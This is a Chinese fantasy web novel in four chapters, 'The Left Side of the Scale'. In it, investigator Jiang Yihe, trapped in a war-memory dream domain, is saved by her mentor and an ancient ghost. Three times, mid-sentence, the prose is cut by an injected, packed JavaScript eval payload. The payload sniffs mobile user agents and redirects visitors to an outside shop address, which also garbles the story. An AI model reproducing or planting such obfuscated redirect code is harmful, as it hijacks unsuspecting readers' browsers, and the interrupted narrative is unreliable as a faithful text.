《天平的左侧》 1. 天平的左侧(1) 啪—— 图书馆的玻璃突兀地碎裂了。 江一和翻了个身,从玻璃碎屑中落地,轻轻抚去肩上的碎片。 碎片中映出了她的身影,一身利落的飞行员夹克,长发飘逸,眉眼锐利。 不错,姿势很完美。 她满意地点点头,一手插兜,一手轻轻打了个响指,手中便凭空出现了一个红色的头戴式耳机,走向书桌前一脸震惊的女孩。 “抱歉。”她递出耳机,微微一笑,“介意测评一下我们乐队的新歌吗?” 女孩转头看向玻璃外,喃喃道:“可这是六楼……” 江一和没有回答她,而是将耳机往上一提,轻轻戴到了女孩头上。 “还是来听听吧,因为接下来——” “可能会有点吵。” 一首轻柔的后摇风歌曲舒缓地响起,女孩的眼神逐渐空灵,再也听不见身后传来的巨响。 嘭—— 天花板上出现了一个巨大的空洞,无数书本狂啸着飞起,形成了一阵龙卷风,向她冲来。 与此同时,她身边亮起了数个金色字符,齐刷刷地飞出,钉在书本上,清脆的叮叮声过后,字符与书本同时破碎,化成点点星光。 她抬起了手,手心之上出现了一架天平虚影,天平左侧的托盘垂下,里面是一团无实体的黑雾。 那些星光便汇入了天平右侧,天平则轻微晃动了两下,刻度停在正中间,静止下来,随后黑雾与星光同时消散,天平也逐渐隐去。 “S市图书馆Ⅳ级情绪污染事件已处理完毕,调查员江一和,清理过程已记录。下次还填非常简单。” 图书馆开始崩塌,变成一串串流动的光芒。 江一和收起天平,转过身,走过那个女孩身边时,再次伸手打了个响指,女孩头上的耳机便重新消失不见了。 “你是……”女孩的眼神茫然,视线不由自主地跟着她。 江一和走到窗边,背朝窗口,伸出食指,“嘘”了一声,微笑道:“没关系,睡一觉你就会忘记一切了。” 接着,她的身影便映着天空,向着窗外倒了下去。 “再见——或许在下次的梦境里。” * “这位江一和调查员,她一直这么……” 巨大的监控屏幕前,一个年轻人收到刚刚传回的调查事件记录,看向身边的前辈,欲言又止。 “爱装?哈哈。”前辈端着茶杯喝了一口,神秘兮兮地对年轻人摇头,“你还是见的少了,她们华南分部的调查员,每一个都这么爱装,只不过装法不一样罢了。” “哦。”年轻人不再多言,看了一会儿屏幕,突然问道:“那……现实时间十秒了,她的意识还未回归,这正常吗?” “多少?!”前辈目光一凝,将手中茶杯往桌上一扔,冲到了监控屏幕前,快速敲击着,嘴里喃喃自语,“不应该啊,记录都已经回传了,意识应该脱离认知域了才对。” “滴——滴——紧急通讯未响应,无法定位调查员江一和。”监控屏幕发出了提示。 “坏了。”前辈立即点击了一个按钮,“报告任务协调中心,调查员江一和意识体失踪!重复,调查员江一和意识体刚刚失踪,认知域时间十七分钟未回归!” * 咔——咔——咔—— 连续不断的几盏灯光亮起。 江一和抬手遮了一下突然刺眼的光芒,适应了之后,才缓缓放下了手,抬起头,环顾四周。 按理说,意识脱离认知域后,她应该回到现实世界的S市图书馆,但很显然,眼前这个巨大而空荡的建筑物,并不是她原本应该回去的地方。 她现在正坐在一面巨大的落地窗前,面前是一张古朴的黄木桌、一张华丽的空椅子,桌面上则摆着一架黄铜天平,天平两侧空空如也,中间的刻度却在缓慢地摆动着。 那是一架实物天平,与总部发给调查员的那个投影天平极为相似。 落地窗外,是一片黑暗,桌子、天平和桌子两边的椅子都倒映在窗外。 只有江一和坐的这个椅子是空的,没有映出她的身形。 她把视线转向另一边。 那是一个大厅,地面都是纯净的白色,地板上整整齐齐地摆放着一些约两米长宽的正方形空格,每个空格中间间隔着大概一米的距离,一直延伸到看不到边界的尽头。 “它们让你想到了什么?” 一个声音突然出现。 江一和转回头,看向声音传来的方向—— 是窗外。 窗外,一片纯粹的黑暗之中,出现了一个人影。 人影坐在窗户外,背靠在那张华丽的靠背椅上,手臂搭着椅子靠背,高高地翘着二郎腿。 她外表看上去只有三十岁左右,但整个人却给人一种既年老又年轻的感觉,铅白色的长发在脑后低低地扎着,服帖地垂在背上,脸上皮肤如同雕塑般纯白,纯黑色的眼眸与身上哑光黑燕尾服互相呼应,内衬则是灰白色丝绸衬衫,看起来更像个优雅的学者。 玻璃窗内,江一和对面的那张椅子,则依然是空的。 “墓碑。”她如实回答。 “毫无新意的答案。”那人摊了摊手,“CRC现在总是出一些这么无趣的人吗?” “我担心回答快递蜂巢柜,您会不让我走。”江一和学着她的样子摊了摊手,故作无奈。 “嗯,这才像点样子。”那人抬起放在椅背上的手臂,撑住脑袋,饶有兴致地打量着她,“冷静、机变、狂妄——很好。来吧,下一步,让我们看看你记忆中最深刻的片段。” “嗯?”江一和微微一怔,接着便看见前方不远处的空地上,出现了一个小小的破败道观。 这是……她按着椅子边缘的手指微微一紧,面上不动声色,说道:“传闻中可没说过,您这么不尊重别人的隐私。” “我只能提取有交叉呼应的记忆,那么就都是大庭广之下发生的事情,可算不上隐私。”那人又摊了摊手,下巴轻轻抬起,看向那个道观,“有趣,你出生在道观?哦不对,是被扔在道观。” 小小的婴儿在道观门口哭泣着,一个穿着道袍的老太太打开门,抱起了婴儿,喃喃说道:“哎哟,多可爱的孩子,怎么舍得丢在这里……作孽啊,以后就跟师祖一起过吧。” “这应该不是你的真实记忆吧?嗯,经过他人讲述、自己想象和加工的记忆……也能这么真实,不错,共感能力很强。”那人一边看,一边点评。 道观、老人、婴儿迅速消散成灰,接着出现的是一条石子路,一个七八岁的小女孩背着大大的书包走在路上,身边几个小小的黑影飘过来,大肆地嘲笑着她。女孩低着头,想要穿过去,却被一个黑影推倒在地。 “看不出你小时候还受过欺负啊?那现在怎么变化这么大?还真是一件神奇的事情。”那人还在点评着,看起来更有兴致了。 “要不要给您端一盘瓜子来?”江一和还是没忍住,怼了她一句。 “我倒是挺想的,可惜啊,在这里吃不了东西,不然我会请你喝杯咖啡。”那人毫不在意她的语气,还一副颇为遗憾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299238|198620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的样子。 对面的场景中,女孩还在被人围着推搡,一个更高一些的女孩凝聚成形,挥着手中一本厚厚的词典砸向了黑影。 “不是教过你吗?这本词典砸人不会留痕迹,还疼。”高个子女孩打跑了那些黑影,对江一和说道,“你可是我江一维的妹妹,狂一点,听到没?” “哦?你还有个姐姐?嗯,不是亲的,也是你那位师祖收养的?看来你的本源武器来源于这本词典,不错不错,很有个性。” 石子路和女孩又消散了,那人还在念叨,江一和终于叹了口气:“传闻也没说您还是个话痨啊。” “没办法,这里平时可难得有客人来,趁此机会,自然要多说几句。” 那人说着,见前面又有新的场景出现,挑了一下眉头,嘴边第一次出现了笑容:“嗯,这就是现在的CRC总部吗?” CRC总部大厅的一角显现了出来,干净的地面反射着灯光,一直延伸到一间办公室门口。 第一天入职的江一和跟在一个风衣女子身后,谨慎地打量着四周,办公室的门则在此时被推开,走出了一个身穿盔甲,戴着恶魔头盔的人,恶狠狠地越过了她,大踏步向前走去。 另一个跟着出来的浅蓝发青年把手拢在嘴边,大声喊道:“忒休斯!你忘了打卡!” 那个铠甲骑士的背影在远方顿了顿,犹豫了一下,悻悻然一般转了回来,狠狠瞪了一眼那个青年,才打完卡离开。 “好心提醒你还要瞪我,哎呀真是狗咬吕洞宾不识好人心哪。” 青年身穿一身简单的灰蓝色西装,一头及肩长发侧扎在脑后,此时单手插着兜,一脸笑嘻嘻的样子,略有些长的碎发遮住了半边额头,单眼皮下的眼神看起来十分狡黠。 他转头对着江一和露出一口洁白的牙齿,挥手说道:“哟,新人?需要雇佣兵吗?推荐一下我自己,我叫沈鸥,擅长喝酒、偷袭,吃得少,价格低,绝对童叟无欺——” 他话未说完,又被另一个听起来有些慵懒的女声打断:“沈鸥,这个月的假条补了吗?” “嘶~”名叫沈鸥的蓝发青年拍了拍脑袋,无奈地摊了摊手,“怀才不遇啊,我这样伟大的雇佣兵,应该在战场上大杀四方,而不是被几张请假条难倒……” “还有最后五分钟截止哦,沈鸥小朋友。”慵懒的女声已经来到了面前,江一和看到了一个模特般的女子,一身的高定奢侈品,头上是暗红中挑染着灰白色的卷发,脸上则带着精致的妆容,神情有些懒懒的,双手插着兜走过来时,好像自带聚光灯走在万众瞩目的秀场。 沈鸥唉声叹气了几声,一边抬起手腕一边离开。 女子转了过来,对着江一和伸出手,露出了完美的微笑:“我是华南外勤部主管陈雾。江一和是吧?欢迎加入CRC。” 场景到这里便再次停止并消散了,江一和注意到窗外那人一直没有出声,不由打量了她几眼,见她嘴角还噙着笑意,认真地看着同事们消散的地方。 “您看起来很喜欢他们。”江一和说道。 那人并未回答,而是转过了头,看向了她,说道:“好了,那就下一步吧。” “不看了?我还有两位同事未出场,他们也挺有趣的。” “不必,你赶时间。”那人伸出手指,在桌面上轻轻敲击了一下,江一和面前的天平上便轻轻地晃动起来,刻度也越转越快,最后飞出了一道光芒,融进了她的额头。 意识消失的最后一秒,江一和突然注意到,她说的是“你赶时间”。 为什么……是我赶时间? 2. 天平的左侧(2) 歌声比视野先冲入江一和的意识中。 辽远、苍凉、哀伤,跟一点冰凉的灰烬同时落在了她脸颊上。 抬头看了看四周,她发现自己正站在一片荒原上,天空昏黄,分不清天与地的分界线,空气中飘荡着无数明明灭灭的灰烬,翻飞闪烁着暗红色的光芒。 一阵风沙弥漫过后,眼前展露出了一大片密密麻麻的兵器残骸。 各种各样的兵器,从削尖的木棒,到铁制长枪,再到火绳枪、冲锋枪,最后是火炮、坦克、战斗机,一眼望去,无边无际的荒野上全都被兵器填得满满的,几乎看不到头。 “咦,怎么有CRC的人?”一个声音惊奇地响了起来,江一和侧过头,看见远处一个废弃的坦克顶上,坐着一个身穿红色外套的女孩,大概十四五岁的样子,戴着头戴式耳机,留着一头公主切,若不是在这个地方遇见,大概更像一个普通的中学生。 异常体? 江一和身边已经亮起了金色字符,手中也迅速出现了一把长剑,却没有急着攻击,而是随意地看向四周,感觉到有一股奇特的寒意正锁定着自己。 看来,还不止一个异常体。 坦克上的女孩惊奇完了之后,便露出了一副天真的笑容,伸手在坦克上一按,跳了下来,对着江一和挥了挥手:“不好意思哦姐姐,我很忙,不能陪你玩了,再见!” 她手中亮出一把蝴蝶刀,轻巧地在坦克上敲击了两下,整个人突然往上升起,而她底下的土地,则开始不断地开裂、耸起—— 地上那一堆堆的兵器,慢慢地形成了一个胡乱组合在一起的巨人,坦克是它的头,火炮是它的手,盔甲和长矛毫无规律地拼接成了它的身体。 轰—— 毫无预兆地,坦克发出了一枚炮弹,直冲江一和而来! 她身前光芒大盛,整个人向后疾退,那些字符在身前形成了一道屏障,挡去了爆炸的冲击。 硝烟弥漫过后,女孩已经跳上了一架直升机,再次挥着手向她笑嘻嘻地告别。 地上的兵器又一阵阵震动起来,冒出了数不清多少个士兵模样的人,身上穿着不同时代的军装——古代的刀客、中世纪的骑士、近代的火枪手、现代的特种兵,全都从兵器荒原中苏醒了。 那些原本散落的兵器,也腾空而起,在空中组合成了各种奇形怪状的武器,对准了她。 震耳欲聋的马蹄声也响了起来,远处的地平线上出现了一片黑压压的骑兵队伍,手持长枪,身穿铠甲,正如潮水般向这边涌来。 …… 虽然江一和很狂,但她只是一个入职不到半年的认知域调查员。 开局就要直接打一整支军队,这是不是不太好? 没有犹豫,她立即开始寻找进来时听到的那个苍老的歌声,在兵器组成的怪物之间腾跃而起,躲避和格挡着那些从四面八方涌过来的长矛、枪炮,向着歌声的位置跑去。 “无主的大型认知域,没有核心奇点,但会有情绪漩涡。”江一和一边狂奔,一边在心中默默地回想起CRC的新人训练,“得找到它,驱散它才能离开这个认知域。” 她再次打开终端界面看了一眼,依然无信号。 “那位信息部的阿金特……” 躲闪不及,一棵子弹擦过脸颊,带出长长的伤口,没有流血,而是露出伤口后像素化一般的虚空。 疼痛让她想起了那位总是一脸睡意的银色卷发少年——能不能麻烦你快点定位到我啊! * “有进展吗?” 信息部的认知域监控中心里,陈雾再一次发问。 一个外表十八九岁左右,一头银色卷发的少年坐在椅子上,身体绷得笔直,紧紧地盯着监视器中迅速滚动的数据,银白色的眼睛中毫无光芒,只有一片镜面般的澄净。 “第7539个。”他回答了一句,短发下已经隐约有汗珠滚落。 陈雾踱了两步,双手抱胸,说道:“没有情绪链接,只能用穷举法——喂,你们科研部什么时候才能突破这个技术?” 她这话是对另一边一个灰发男人说的。 男人大约三十出头,欧洲人长相,穿着白衬衫与西装马甲,看起来像一个大学教授,脸上总是笑眯眯的,银丝单边眼镜正微微闪着光芒。 他随意地靠在操作台旁,手指在台面上轻轻抚过,一边回答道:“那就要问我亲爱的姐姐了,我只管异常体和医疗研究,不管技术。” “找到了!”少年手下一顿,将画面放大,正好看到江一和在兵器怪物的海洋中穿行,身上已是伤痕累累,伤口下露出无数切割出来的虚空。 一直靠在操作台另一边的风衣女子猛地直起身子,手中蓝光一闪,迅速劈开了一道裂缝,人已一脚踏了进去,消失不见。 “苏词!”陈雾想冲过去,裂缝却瞬间闭合了。 “这家伙,通道还没稳定!”她脸色沉了下来,又转过身盯着屏幕,“还要多久?” 阿金眼中光芒轻微闪烁了一下,停顿了下来。 “有个高危级异常体。”他回答道,“信号被切断了。” 砰—— 陈雾一拳锤在了操作台上,深呼吸了一口气,说道:“继续连接,苏词的实力很强——我相信她。” * 疲惫。 “警告!调查员江一和,意志力正极速降低!请迅速休整恢复!警告……” 江一和干脆直接掐灭了终端的提示。 但疲惫的感觉还是如同潮水般袭来,她不知道自己在这片战场上跑了多久,或许是几小时,也或许是几天,甚至可能是几年。 她只觉得意识已经模糊了,身边只有无穷无尽的兵器、各式各样向她冲杀而来的步兵、远远的骑着马疾驰而来的骑兵——甚至有拿着草叉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299239|198620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 农民。 这破战场怎么永无止境呢,能不能让农民好好回家种田啊……迷迷糊糊之间,她叹着气想着。 那道歌声在前方不远处若隐若现,她努力地奔跑着,却始终未能靠近。 疲惫感快把她淹没了,子弹打在身上的疼痛也变得迟缓起来,她跌跌撞撞地走着,终于倒下,撑着剑单膝跪地。 这个姿势应该也挺帅的吧……她想着,看着前面一辆坦克轰隆隆地开过来,另一边几个盔甲骑士手里的剑也砍了下来,子弹再次冲着心□□了过来…… 已经没有避开的力气了。 低着头,闭上眼睛。 然后听见了一道剧烈的爆炸声。 地面突然开始晃动,江一和站立不稳,向后倒去,一只手稳稳地扶住了她的背,轻轻往前一按。 “快死了还耍帅呢。” 再次睁眼,江一和见到身上亮起了一道蓝色的光芒,不由地露出了大大的笑容,转过头,喊道:“师父!” “嗯。”风衣女子身形高挑,神色沉静,长发在脑后扎成高高的发髻,气势如同出鞘的剑一般,此时只是淡淡地应了一声。 接着,她便松开了手,手中出现了一把长长的陌刀,人已一跃而起,冲向了战场,在身后拖曳出炽烈的蓝色光尾,像一道明亮的彗星。 冲到半空时,她手中的陌刀竖起,没有任何招式,就只有简简单单的——斩! 一道蓝色弧光在天地间横亘而来,所过之处,无论是那些拼合的武器怪物,还是身后的坦克和远处正冲过来的骑兵,全部都在一瞬间湮灭成了飞灰。 弧光依然去势不减,狠狠地劈在了大地上,将地面劈出了一道巨大的沟壑,后续的骑兵来不及减速,纷纷人仰马翻地嘶吼着跌入了沟壑中。 “师父,强!不愧是整个CRC最强的调查员!”江一和看着已经清空的战场,对着风衣女子竖起了大拇指。 “行了,边走边休整吧,你意识体都千疮百孔了。”苏词扫了她一眼,收起了陌刀,将自己终端中的能量连接了过去,慢慢地向前走。 “师父,怎么CRC只派了你一个人来吗?雾姐呢?”江一和一边恢复自己的意志力,一边跟在苏词身边问道。 “信号还不稳定,再等会儿吧。” 两人继续在战场上走着,此时,整个战场已是一片死寂,仿佛苏词刚才那一刀把所有的声音都切断了。 那个苍凉的歌声,则更加清晰起来。 那声音起初很小,不仔细听几乎要听不清,过了一会儿才断断续续地大了起来,江一和这时才听了出来,那是一个老妇人的哼歌声,苍老而微弱,却笼罩了整个战场,一股战争后的哀戚在不断弥漫。 又走出了几步,苏词停下了脚步,看向前方。 江一和也抬头看去,只见一片沉寂的硝烟之中,突兀地出现了一个头发花白的老妇人。 3. 天平的左侧(3) 老妇人正佝偻着腰,在地上费力地翻找着什么,那些歌声正是从她的嘴里发出来的。 她穿着一身灰色布衣,身上打满补丁,看起来足有八十岁以上,一头白发,动作迟缓,弯下腰翻找时明明手底下只有尘土和兵器,再直起身时手里已经多了一张像是信件的纸,纸上布满灰尘和血迹。 她把那张纸缓缓地叠好,放进怀里,踏出一步,继续哼着歌翻找。 走了几步,她似乎突然发现了眼前的两个人,停下了歌声,眯着眼睛仔细打量了一下她们,然后冲她们点点头,一字一句地说道:“走吧,孩子们,回家吧,恐惧离开了,荣誉和利益要来打扫战场。” 什么意思?江一和转头看向苏词。 苏词没说话,看到那老妇人已经慢腾腾地转过身子,颤巍巍地向前走去,便冲江一和说道:“跟上。” 两人一路跟着老妇人走了许久,才走到一座废弃的城堡。 城堡的大片城墙早已倒塌,只有中心的一座塔楼还算勉强完整。 破损的城墙四周青草萋萋,那个穿着红色外套的女孩正坐在城墙上,无聊地甩着手里的蝴蝶刀,此时见到她们,似乎怔了一下,面上浮现出几分不耐烦:“怎么阴魂不散的。” 她手里的蝴蝶刀一顿,刚刚落地,一道无声的刀锋已经朝着她斩了过去,她瞬间脸色大变,抬起了手,噪音瞬间炸开,高压电流的爆音、金属的疯狂摩擦、指甲刮在玻璃上的尖锐声音混杂在一起,接踵而来。 噪音在女孩身前形成了一道实质的屏障,被苏词一击之下,爆发出一阵低频嗡鸣,让人骨头都在随之震动。 女孩被这一刀撞地飞了出去,接连砸毁了好几道倒塌的城墙,在地上划出一道长长的痕迹,才勉强停了下来。 她的身上出现了大片的破损,皮肤下也呈现出了虚空,只是与江一和受伤时不同,她皮肤下的虚空中还有团团黑雾在不断散逸而出。 她猛地抬头,脸上变成了一种极度狂躁的表情,嘴里低声说着“好吵好吵好吵……”,然后猛地跳了起来,提着刀不管不顾地向着苏词冲了过来。 苏词眼神却看向了另一边,哼了一声道:“不出来?” 刀光再闪,女孩则堪堪一个侧身躲开,一条胳膊和手里的蝴蝶刀同时飞了出去,她痛呼一声,见另一道刀光又直奔面门而来,脸上的狂躁表情变成了惊惧,下意识般大喊了一声:“加奈特救我!” 一道影子突兀地从地上展开,挡住了那道刀光,二者同时嚓地一声破碎,消失无踪。 女孩身边则多了一个戴着兜帽的黑色身影,身形消瘦,低着头看不清脸,也分不出性别,整个人不仔细看很容易被人忽视,像一张曝光不足的照片中的一道影子。 “对不起,加奈特……我打不过,我搞砸了……”女孩跌坐在它身边,声音沮丧地说道。 “差不多了。”黑影的声音很低,像它人一样分不出性别,轻飘飘的,似乎不仔细听就会被风吹散,“走了。” 它在说“走”的时候,女孩的手臂又恢复如初,蝴蝶刀也重新回到了她的手里,两人的身形则开始融化;说完“走了”的时候,已经变成了两道影子,像水滴被晒干般迅速变淡消失。 在黑影出现的时候,苏词就准备出刀了,但与此同时,地面却突然传来了巨大的震颤,仿佛有千军万马奔腾而来。 “它们来了……”早已默默踏入塔楼中的老妇人,抬起了头。 苏词没再理那两个异常体,而是转了个身,看向她们来时的方向。 江一和也转头,顺着她的视线看去,只见远远的天边,一支千军万马的庞大军团正踏步而来——字面意义上的千军万马! 天空中迸射出道道金色光芒,一阵整齐划一的脚步声响起,黄金铸成的军队从地平线外出现,正迈着沉重的步子缓步推进。 一位占据了半个天空的金甲将军骑在一匹黄金战马上,手里的黄金剑高高举起,在金光照射之下,竟然有种奇特的圣洁感。 另外一边,一只山羊占据了另一半天空,四蹄翻飞地在空中跳跃着,无数的兵器飞上去,变成了冠冕、华服,盖在了它的头上、身上。 苍凉的号角声响彻天地,与地面上的轰隆声互相呼应。 “这就是荣誉和利益?”江一和喃喃自语了一句,转头问苏词,“师父,怎么打?” 苏词手中的陌刀在地上一点,平静地回答道:“我来打。” 一道蓝光一闪,江一和感觉自己的身体飞了起来,跌进了塔楼门后,踉跄着站稳后猛地向前一扑,却撞上了一层蓝色的透明屏障,不由急道:“师父,我能帮忙!” “伤成这样,别装了,好好待着。”苏词话音未落,整个人已像一道流星般飞出,速度快到在天空中留下了一道残影。随后,她在空中再次举起了陌刀,依然是毫无花哨的直接一斩! 但不同的是,这次她身上没有任何光芒,连刀也看上去只是一把极普通的陌刀,仿佛她真的只是冷兵器时代一个普普通通的剑客。 另一边,金甲骑士抬起了另一只手,举起巨剑,金色的光芒从黄金剑的边缘迸发出来,将苏词身影衬得几乎看不清了。 战斗迅速进入白热化,地震般的轰鸣之中,天空被斩出了数条裂缝,大地也不断裂开道道沟壑,暗红色的硝烟几乎遮蔽了整个世界,好几次江一和都找不到苏词的身影了,也有好几次,她清晰地看见苏词身上的蓝光已经布满裂痕。 按下心中的焦躁,她深深地呼了一口气,走向那个老妇人。 从踏进房间之后,老妇人就一直在认真地重复着从怀里拿出信纸,再翻动着手里的毛线针,将它们织成一面面挂毯,待那张挂毯逐渐长到能拖到地上时,她便会颤巍巍地挥挥手,挂毯便从她手中飞出去,挂到塔楼的墙壁上。 “来的时候,那位前辈说,我赶时间,让我找到她。”江一和缓缓向老妇人伸出手,说道,“我猜,是有人在等我。” 老妇人缓慢地抬起头,对她露出一个悲悯的微笑,随后唱起了新的歌谣: “泥土染红了呀,鸟儿去了哪里?” “谁家的孩儿呀,睡进了土堆?” “远方的姑娘呀,风儿从何方吹过?” “家乡的母亲呀,为什么、为什么、为什么总是在哭泣?” 是战争的群体记忆么……一阵强烈的情绪冲击袭来,江一和感觉一阵天旋地转,好像看到了无数个身影从她身前路过—— 种下麦子的农夫,拿着干草叉走上战场,倒在麦子成熟前; 与新婚妻子吻别的新郎,穿上军装走向战场,变成了一张阵亡通知书; 怀抱着梦想意气风发的学生,在战壕中给暗恋的姑娘写了半封信,剩下的一半被他的鲜血染红; 木匠的椅子还差一个桌腿,铁匠一路念叨着炉火忘了熄; 断了腿的士兵回到小镇喊了一声妈妈,无数的窗户推开,却没有人能回应他…… 那些挂毯像是被透明的火焰点燃了,卷曲着燃烧起来,哭泣声、冲锋声也随之响起,无数不同色泽的光芒四射而出,整个塔楼都被一团炫目的光芒笼罩住了。 轰—— 白光炸开,意识跌入了一片空白。 * 很暖。 睁开眼睛时,江一和看到了一个阳光灿烂的荒原。 荒原上铺着无尽的浅金色花朵,每一朵花上面都微微闪烁着光芒,在阳光下如梦似幻。 除花朵外,这里空无一物,只有不远处的花丛中间有一小片空地,空地下是一片虚空,虚空上则坐了一个人。 从身形上来看,那是个年轻的女子,身穿古希腊式素白长裙,头上带着花环,最显眼的是她长长的金色头发,一直从头上延伸到花丛中,随后隐没了进去,也不知道是在哪里结束的。 江一和环顾了一下四周,谨慎地走了过去,轻轻呼唤那个女子:“您好——” 女子原本半蹲半坐在地上,听到了江一和的声音,低着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299240|198620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的头抬起来,露出一张与菲尼斯有几分相似,但气质却完全不同的脸庞,看了她许久,才露出了微笑:“你来了。” “您在等我?” 女子并不回答,而是问了另一个问题:“见过她了?” “是。” 女子轻叹一口气:“她很无礼,对么?我替她向你道歉吧。” “倒也不必……”江一和看了看脚下的虚空,发现这里能看到苏词的战场,此时苏词身上已经出现了大片的裂缝,焦躁便有些按捺不住了,“您能帮我吗?” 女子也向着虚空之下看了一眼:“自然可以——不过,你需要付出一些代价。” “可以。” “你不问什么代价?”女子问着,但语气平稳,脸上并没有显出惊讶。 “她是我的师父,她是为了救我才深陷险境,这两个理由足够我付出任何代价。”江一和回答,随后又微笑了,“据传CRC历史上,能成为馆长的人不过四位,两位前辈不至于让我这么简单就死掉吧?” 女子摇摇头:“你错了。不是能成为馆长的人只有四位,而是只有四个人活了下来,成为了馆长。” …… “您先说说怎么帮我吧。”江一和再看一眼虚空之间的战斗,见苏词的脸上早已没有了惯常的平淡,取而代之的是某种从未出现过的麻木与空洞。 她不由地再次焦躁起来,语气也更显急切了。 女子笑了起来,瞬间好像所有的阳光都汇聚在了她的脸上,打上了一层圣洁的柔光。 “确实,再拖下去,她的意识就要被永远困在周而复始的战争中了。” “人类啊……真有意思。” 她说着,将手按在胸口,轻微低头致意:“我是安娜·托利亚,一个古老的幽灵,向情绪博物馆新任馆长——江一和致敬。” 随后,她抬起头,从半坐的姿势慢慢地站起身,轻轻伸出右手,抬起,仿佛要开始跳一曲舞蹈。 四周逐渐暗了下去,她微微抬起侧脸,唯一的一道晨曦洒在她的脸上,让她看起来像极了一尊洁白如玉的雕塑。 接着,她头上的花环发出了光芒,整个荒原中的浅金色花朵也呼应着缓缓摇晃起来。 一个空灵的哼唱声响起,淌过花朵,花朵们低头致意,再展开身躯,轻盈地飘起,化成了萤火虫般的微光,向着她的手心中舒缓地飞过去。 一条条光之河流随着那清浅的哼唱声流动,在她的手中逐渐凝固成形,先是一个优雅的弧线,再向两边舒展,华光璀璨之间,一道细细的光芒从弧线两端发出,在空中碰撞—— 最后,形成了一张由光凝聚而成的弓。 光芒此时才渐渐散去,一地的荒原中,原本无边无际的浅金色花朵如今已消失殆尽,只留下脚下的虚空,和虚空之下依然在进行的战斗。 那位自称安娜·托利亚的女子,原本的长发只剩下了刚好垂地的长度,此时她握着弓,缓缓收回了手,递给江一和。 江一和从刚才那种恍惚的场景中清醒过来,走了过去,接住了那张弓,感觉入手微暖,有重量感却没有实感,便问道:“这是?” 安娜见江一和拿起了弓,仿佛累极了一般又坐回了原地,轻声说:“战。” 江一和反应了一下,问道:“您是说,这把弓的名字,叫战?” “是的。”安娜闭上了眼睛,“从战争的世界里诞生的希望。” 江一和握着弓,好像自然而然地知道了该怎么使用,于是弯弓,搭弦,一支细细的光箭便从她指尖流出,绽放出道道光芒。 “99%的死亡,和1%生的希望,你清楚吧?”安娜的眼睛没有睁开,安安静静地说着。 江一和搭弦的手微微一颤,动作却并没有停,而是转过身,调整了一下姿势,向着天空拉弓。 嗯,这个姿势……应该够帅了。 她拉紧弓弦,流光倾泻而出,向着天空划出了一道极为灿烂的、照亮了整片天空的弧线! 4. 天平的左侧(4) 战场上,苏词突然抬起头来。 她一片赤红的眼睛里,映射出了一道金光。 这是……哪里? 她手里的刀在微微颤抖,在一片只剩杀戮的茫茫然中,有什么东西挣扎着生了出来。 是了……我记得……我要保护她们…… 她艰难地踏出一步,伸出早已遍布碎痕的手,再次举起了手里的刀。 那道金光从虚空之后破空而来,无声地前行着,花朵在跟着它绽放; 它一路飞过那支金甲军队,那些剑与盾便开出了花; 它一路飞过那只冠冕华服的山羊,那些冠冕与华服上便也开出了花; 它继续飞过,硝烟都变成了花瓣,兵器间都发出了花蕊,断壁颓垣的塔楼中,花朵也一朵朵攀上墙壁,在最高的地方绽放; 它继续飞过,将天空中的裂缝缝补了起来,将地面上的沟壑重新填满…… 最后,它停下来。 金光就横亘在了天空中,仿佛一道威严又温柔的目光。 战场上彻底静了下来,一切都随着金光的停止而停止了。 金甲军队的剑盾盔甲上面都开满了鲜花,满地的兵器之间绿草茵茵,山羊没有了王冠和华服,踢踏着蹄子吃草。 * 这一箭,以战,止戈。 * 江一和感觉身上的力气已经被抽空,撑不住半跪在地。 那把名为“战”的弓已经从她手中消失,她摊开手,看到自己的手臂又在一块块剥落,消散到了空气中。 安娜微微抬起头,对她招了招手,示意她过去。 江一和走了过去,在她面前也学着她的样子坐了下来。 安娜看起来已经十分虚弱,眼睛一直闭着,连头上的花环都显得萎靡不振。 江一和静静地看了她许久,才听到她轻轻说了一句:“好孩子,谢谢你,及时赶到。” 略微愣了一下,江一和看了一下自己只剩了一半、还在不断崩塌的手臂,问道:“我要死了吗?” 安娜嘴角微微泛起一个笑容,声音更轻了,江一和凑过去仔细听,才听见她说的是:“别担心,你还有1%的生还希望。” …… 这好像不能算安慰吧? 吐槽没有说出口,江一和突然意识到了什么,轻轻呼唤道:“您还好吗?” 安娜没有回答,似乎已经失去了力气,轻轻动了一下手指。 然后开始碎裂。 她的身体中也开出了花朵,花朵随着她身体的碎裂蔓延,从头上的花环,到长长的金发,到手,再到脚,一路绽放。 最后,形成了一个小小的花丛。 空中又传来了哀伤的哼唱声,脚下的花朵开始不断凋谢,四周似乎有阵阵清水漫过,让江一和整个人都产生了朦胧的睡意。 